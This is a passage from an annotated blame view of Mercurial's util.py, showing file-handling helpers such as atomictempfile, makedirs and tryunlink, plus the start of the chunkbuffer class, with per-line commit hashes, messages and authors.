FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 30181
diff changeset
2194
29298
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
2195 def __ne__(self, other):
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
2196 return not self == other
82f6193ff2bc util: add __ne__ to filestat class for consistency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29261
diff changeset
2197
8778
c5f36402daad use new style classes
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8631
diff changeset
2198 class atomictempfile(object):
17424
e7cfe3587ea4 fix trivial spelling errors
Mads Kiilerich <mads@kiilerich.com>
parents: 17391
diff changeset
2199 '''writable file object that atomically updates a file
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2200
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
2201 All writes will go to a temporary copy of the original file. Call
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2202 close() when you are done writing, and atomictempfile will rename
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2203 the temporary copy to the original name, making the changes
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2204 visible. If the object is destroyed without being closed, all your
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2205 writes are discarded.
29367
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2206
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2207 checkambig argument of constructor is used with filestat, and is
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2208 useful only if target file is guarded by any lock (e.g. repo.lock
4e6e280e238f doc: describe detail about checkambig optional argument
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29342
diff changeset
2209 or repo.wlock).
14008
da65edcac72a atomictempfile: rewrite docstring to clarify rename() vs. close().
Greg Ward <greg@gerg.ca>
parents: 14007
diff changeset
2210 '''
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2211 def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2212 self.__name = name # permanent name
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2213 self._tempname = mktempcopy(name, emptyok=('w' in mode),
41289
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2214 createmode=createmode,
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2215 enforcewritable=('w' in mode))
593f6359681d update: fix edge-case with update.atomic-file and read-only files
Boris Feld <boris.feld@octobus.net>
parents: 40880
diff changeset
2216
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2217 self._fp = posixfile(self._tempname, mode)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2218 self._checkambig = checkambig
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
2219
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2220 # delegated methods
29393
50269a4dce61 atomictempfile: add read to the supported file operations
Martijn Pieters <mjpieters@fb.com>
parents: 29367
diff changeset
2221 self.read = self._fp.read
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2222 self.write = self._fp.write
17237
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
2223 self.seek = self._fp.seek
e73128535105 util: delegate seek and tell methods of atomictempfile
Bryan O'Sullivan <bryano@fb.com>
parents: 17203
diff changeset
2224 self.tell = self._fp.tell
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2225 self.fileno = self._fp.fileno
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2226
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2227 def close(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
2228 if not self._fp.closed:
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
2229 self._fp.close()
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2230 filename = localpath(self.__name)
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2231 oldstat = self._checkambig and filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2232 if oldstat and oldstat.stat:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2233 rename(self._tempname, filename)
32772
7ad95626f6a7 filestat: move __init__ to frompath constructor
Siddharth Agarwal <sid0@fb.com>
parents: 32749
diff changeset
2234 newstat = filestat.frompath(filename)
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2235 if newstat.isambig(oldstat):
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2236 # stat of changed file is ambiguous to original one
36781
ffa3026d4196 cleanup: use stat_result[stat.ST_MTIME] instead of stat_result.st_mtime
Augie Fackler <augie@google.com>
parents: 36724
diff changeset
2237 advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
29201
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2238 os.utime(filename, (advanced, advanced))
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2239 else:
a109bf7e0dc2 util: make atomictempfile avoid ambiguity of file stat if needed
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29200
diff changeset
2240 rename(self._tempname, filename)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2241
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2242 def discard(self):
8785
7a9151bc5b37 atomictempfile: fix exception in __del__ if mktempcopy fails (self._fp is None)
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 8778
diff changeset
2243 if not self._fp.closed:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2244 try:
14007
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2245 os.unlink(self._tempname)
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2246 except OSError:
d764463b433e atomictempfile: avoid infinite recursion in __del__().
Greg Ward <greg@gerg.ca>
parents: 14004
diff changeset
2247 pass
8327
aa25be1c2889 atomictempfile: delegate to posixfile instead of inheriting from it
Bryan O'Sullivan <bos@serpentine.com>
parents: 8312
diff changeset
2248 self._fp.close()
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
2249
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
2250 def __del__(self):
14968
b7dbe957585c util: use safehasattr or getattr instead of hasattr
Augie Fackler <durin42@gmail.com>
parents: 14942
diff changeset
2251 if safehasattr(self, '_fp'): # constructor actually did something
15057
774da7121fc9 atomictempfile: make close() consistent with other file-like objects.
Greg Ward <greg@gerg.ca>
parents: 15050
diff changeset
2252 self.discard()
13098
f7d6750dcd01 util: make atomicfiles closable
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13072
diff changeset
2253
29394
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2254 def __enter__(self):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2255 return self
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2256
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2257 def __exit__(self, exctype, excvalue, traceback):
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2258 if exctype is not None:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2259 self.discard()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2260 else:
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2261 self.close()
6d96658a22b0 atomictempfile: add context manager support
Martijn Pieters <mjpieters@fb.com>
parents: 29393
diff changeset
2262
38493
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2263 def unlinkpath(f, ignoremissing=False, rmdir=True):
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
2264 """unlink and remove the directory if it is empty"""
31541
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
2265 if ignoremissing:
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
2266 tryunlink(f)
bd9daafbf87c util: use tryunlink in unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31540
diff changeset
2267 else:
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
2268 unlink(f)
38493
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2269 if rmdir:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2270 # try removing directories that might now be empty
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2271 try:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2272 removedirs(os.path.dirname(f))
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2273 except OSError:
da2a7d8354b2 unlinkpath: make empty directory removal optional (issue5901) (issue5826)
Kyle Lippincott <spectral@google.com>
parents: 38380
diff changeset
2274 pass
31539
52361c4f4dac util: unify unlinkpath
Ryan McElroy <rmcelroy@fb.com>
parents: 31533
diff changeset
2275
31540
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2276 def tryunlink(f):
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2277 """Attempt to remove a file, ignoring ENOENT errors."""
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2278 try:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2279 unlink(f)
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2280 except OSError as e:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2281 if e.errno != errno.ENOENT:
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2282 raise
6d5b77abf306 util: add tryunlink function
Ryan McElroy <rmcelroy@fb.com>
parents: 31539
diff changeset
2283
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
2284 def makedirs(name, mode=None, notindexed=False):
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2285 """recursive directory creation with parent mode inheritance
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2286
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2287 Newly created directories are marked as "not to be indexed by
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2288 the content indexing service", if ``notindexed`` is specified
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2289 for "write" mode access.
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2290 """
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2291 try:
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
2292 makedir(name, notindexed)
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
2293 except OSError as err:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2294 if err.errno == errno.EEXIST:
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2295 return
15058
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2296 if err.errno != errno.ENOENT or not name:
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2297 raise
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2298 parent = os.path.dirname(os.path.abspath(name))
81f33be0ea79 util: postpone and reorder parent calculation in makedirs
Adrian Buehlmann <adrian@cadifra.com>
parents: 15057
diff changeset
2299 if parent == name:
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
2300 raise
18938
e22107cff6bf util: add notindexed optional parameter to makedirs function
Angel Ezquerra <angel.ezquerra@gmail.com>
parents: 18930
diff changeset
2301 makedirs(parent, mode, notindexed)
29017
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2302 try:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2303 makedir(name, notindexed)
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2304 except OSError as err:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2305 # Catch EEXIST to handle races
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2306 if err.errno == errno.EEXIST:
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2307 return
07be86828e79 util: fix race in makedirs()
Adam Simpkins <simpkins@fb.com>
parents: 28883
diff changeset
2308 raise
18678
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
2309 if mode is not None:
423eee0b0b14 util: make ensuredirs safer against races
Bryan O'Sullivan <bryano@fb.com>
parents: 18668
diff changeset
2310 os.chmod(name, mode)
18668
4034b8d551b1 scmutil: create directories in a race-safe way during update
Bryan O'Sullivan <bryano@fb.com>
parents: 18614
diff changeset
2311
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2312 def readfile(path):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
2313 with open(path, 'rb') as fp:
14100
3e9e02a41dfb util: really drop size from readfile
Matt Mackall <mpm@selenic.com>
parents: 14099
diff changeset
2314 return fp.read()
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2315
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2316 def writefile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
2317 with open(path, 'wb') as fp:
14167
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2318 fp.write(text)
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2319
0e4753807c93 util & scmutil: adapt read/write helpers as request by mpm
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14147
diff changeset
2320 def appendfile(path, text):
27778
4d10600c3f08 util: simplify file I/O functions using context managers
Bryan O'Sullivan <bryano@fb.com>
parents: 27768
diff changeset
2321 with open(path, 'ab') as fp:
14099
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2322 fp.write(text)
0824a0a3cefc util: add readfile() & writefile() helper functions
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 14077
diff changeset
2323
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2324 class chunkbuffer(object):
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2325 """Allow arbitrary sized chunks of data to be efficiently read from an
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2326 iterator over chunks of arbitrary size."""
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
2327
5446
fa836e050c50 chunkbuffer: removed unused method and arg
Matt Mackall <mpm@selenic.com>
parents: 5420
diff changeset
2328 def __init__(self, in_iter):
32123
5f53c267e362 util: remove doc of long gone 'targetsize' argument
Martin von Zweigbergk <martinvonz@google.com>
parents: 31952
diff changeset
2329 """in_iter is the iterator that's iterating over the input chunks."""
11670
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2330 def splitbig(chunks):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2331 for chunk in chunks:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2332 if len(chunk) > 2**20:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2333 pos = 0
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2334 while pos < len(chunk):
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2335 end = pos + 2 ** 18
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2336 yield chunk[pos:end]
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2337 pos = end
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2338 else:
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2339 yield chunk
1b3b843e1100 chunkbuffer: split big strings directly in chunkbuffer
Benoit Boissinot <benoit.boissinot@ens-lyon.org>
parents: 11668
diff changeset
2340 self.iter = splitbig(in_iter)
25113
0ca8410ea345 util: drop alias for collections.deque
Martin von Zweigbergk <martinvonz@google.com>
parents: 25112
diff changeset
2341 self._queue = collections.deque()
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2342 self._chunkoffset = 0
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
2343
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
2344 def read(self, l=None):
1200
333de1d53846 Minor cleanups.
Bryan O'Sullivan <bos@serpentine.com>
parents: 1199
diff changeset
2345 """Read L bytes of data from the iterator of chunks of data.
21018
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
2346 Returns less than L bytes if the iterator runs dry.
c848bfd02366 util: support None size in chunkbuffer.read()
Pierre-Yves David <pierre-yves.david@fb.com>
parents: 20835
diff changeset
2347
23139
e53f6b72a0e4 spelling: fixes from proofreading of spell checker issues
Mads Kiilerich <madski@unity3d.com>
parents: 23097
diff changeset
2348 If size parameter is omitted, read everything"""
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2349 if l is None:
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2350 return ''.join(self.iter)
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2351
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2352 left = l
17962
4c29668ca316 util: make chunkbuffer non-quadratic on Windows
Matt Mackall <mpm@selenic.com>
parents: 17560
diff changeset
2353 buf = []
16873
37e081609828 util: simplify queue management in chunkbuffer
Bryan O'Sullivan <bryano@fb.com>
parents: 16834
diff changeset
2354 queue = self._queue
26478
a3f7e5461dbd util.chunkbuffer: special case reading everything
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26450
diff changeset
2355 while left > 0:
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2356 # refill the queue
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2357 if not queue:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2358 target = 2**18
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2359 for chunk in self.iter:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2360 queue.append(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2361 target -= len(chunk)
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2362 if target <= 0:
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2363 break
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2364 if not queue:
1199
78ceaf83f28f Created a class in util called chunkbuffer that buffers reads from an
Eric Hopper <hopper@omnifarious.org>
parents: 1169
diff changeset
2365 break
11758
a79214972da2 chunkbuffer: use += rather than cStringIO to reduce memory footprint
Matt Mackall <mpm@selenic.com>
parents: 11469
diff changeset
2366
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2367 # The easy way to do this would be to queue.popleft(), modify the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2368 # chunk (if necessary), then queue.appendleft(). However, for cases
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2369 # where we read partial chunk content, this incurs 2 dequeue
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2370 # mutations and creates a new str for the remaining chunk in the
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2371 # queue. Our code below avoids this overhead.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2372
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2373 chunk = queue[0]
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2374 chunkl = len(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2375 offset = self._chunkoffset
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2376
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2377 # Use full chunk.
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2378 if offset == 0 and left >= chunkl:
26479
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2379 left -= chunkl
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2380 queue.popleft()
46143f31290e util.chunkbuffer: refactor chunk handling logic
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26478
diff changeset
2381 buf.append(chunk)
26480
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
2382 # self._chunkoffset remains at 0.
6ae14d1ca3aa util.chunkbuffer: avoid extra mutations when reading partial chunks
Gregory Szorc <gregory.szorc@gmail.com>
parents: 26479
diff changeset
